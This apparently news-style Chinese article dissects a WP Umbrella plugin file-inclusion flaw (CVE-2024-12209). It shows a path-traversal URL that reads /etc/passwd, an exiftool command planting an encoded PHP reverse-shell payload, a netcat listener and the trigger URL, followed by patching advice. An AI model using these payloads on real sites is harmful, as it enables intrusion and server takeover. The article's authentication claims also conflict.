返回首页

WP Umbrella 中的 LFI RCE CVE-2024-12209

WP Umbrella 中发现的 LFI 漏洞 CVE-2024-12209(CVSS 9.8),导致 RCE。分析了两种利用向量:直接路径遍历和媒体文件中的 EXIF PHP 注入。防护建议包括更新和 WAF。

WP Umbrella 中通过 LFI 的 RCE:CVE-2024-12209 完整剖析
Advertisement 728x90

WP Umbrella 插件中严重 LFI 漏洞允许在 WordPress 站点上实现 RCE

WP Umbrella 插件中发现了一个 CVSS 9.8 分的严重 LFI 漏洞(CVE-2024-12209),该插件被超过 30,000 个 WordPress 站点使用。该漏洞影响 umbrella-restore 端点,通过 filename 参数,允许未认证用户实现远程代码执行(RCE)。

该插件旨在集中监控和管理多个 WordPress 站点,因此深受代理机构和自由职业者的欢迎。该漏洞通过未进行路径验证的动态文件包含来利用。

设置测试环境

要重现,需要本地 LAMP/XAMPP 环境,包含 PHP 和 MySQL。安装 WordPress:

Google AdInline article slot
cd ~/Downloads
unzip wordpress-6.6.2.zip
sudo mv wordpress /opt/lampp/htdocs/
sudo chown -R daemon:daemon /opt/lampp/htdocs

然后在 http://127.0.0.1/wordpress 运行安装程序。安装存在漏洞的 WP Umbrella 插件版本。

umbrella-restore 中的 LFI 机制

该漏洞源于 PHP 的 include/require 函数中对 filename 参数缺少净化。攻击者可以指定服务器上任意文件的路径。

向量 1:直接读取系统文件(Contributor 角色)

对于没有媒体上传权限的角色,使用路径遍历:

Google AdInline article slot
https://wp-dev.ddev.site/?umbrella-restore=1&filename=../../../../../../etc/passwd

这允许在无需额外权限的情况下转储 /etc/passwd 的内容。

向量 2:通过 EXIF 元数据注入实现 RCE(Author 角色)

  • 创建一个在 EXIF 注释中包含 PHP 负载的 JPG 文件:
exiftool -Comment="<?php system('echo YmFzaCAtaSA+JiAvZGV2L3RjcC8xMjcuMC4wLjEvNDQ0NCAwPiYx | base64 -d | bash')?>" name.jpg
  • 通过后台上传文件:媒体 → 新增。
  • 复制上传文件的 URL,例如 /wp-content/uploads/2024/12/maxresdefault.jpg
  • 启动 Netcat 监听器:
nc -lvnp 4444
  • 利用 LFI:
http://localhost/?umbrella-restore=1&filename=wp-content/uploads/2024/12/maxresdefault.jpg

负载执行,在 4444 端口建立反向 shell。

防护建议

  • 将 WP Umbrella 插件更新到已修补版本。
  • 部署带有路径遍历防护规则的 WAF(ModSecurity OWASP CRS)。
  • 禁用未认证用户对 umbrella-restore 的访问。
  • 在 php.ini 中使用 open_basedir 限制文件系统访问。
  • 定期使用 Burp Suite 或 Nuclei 扫描 LFI。

要点

  • CVSS 9.8 分漏洞允许在 30,000 多个站点上未认证 RCE。
  • 两种向量:直接 LFI 和通过上传媒体文件中的 EXIF 注入。
  • 利用仅需前端访问,Contributor 角色或更高。
  • 必须打补丁;否则可能导致服务器接管和数据泄露。
  • 在隔离环境中测试,避免生产环境。

— Editorial Team

Google AdInline article slot
Advertisement 728x90

继续阅读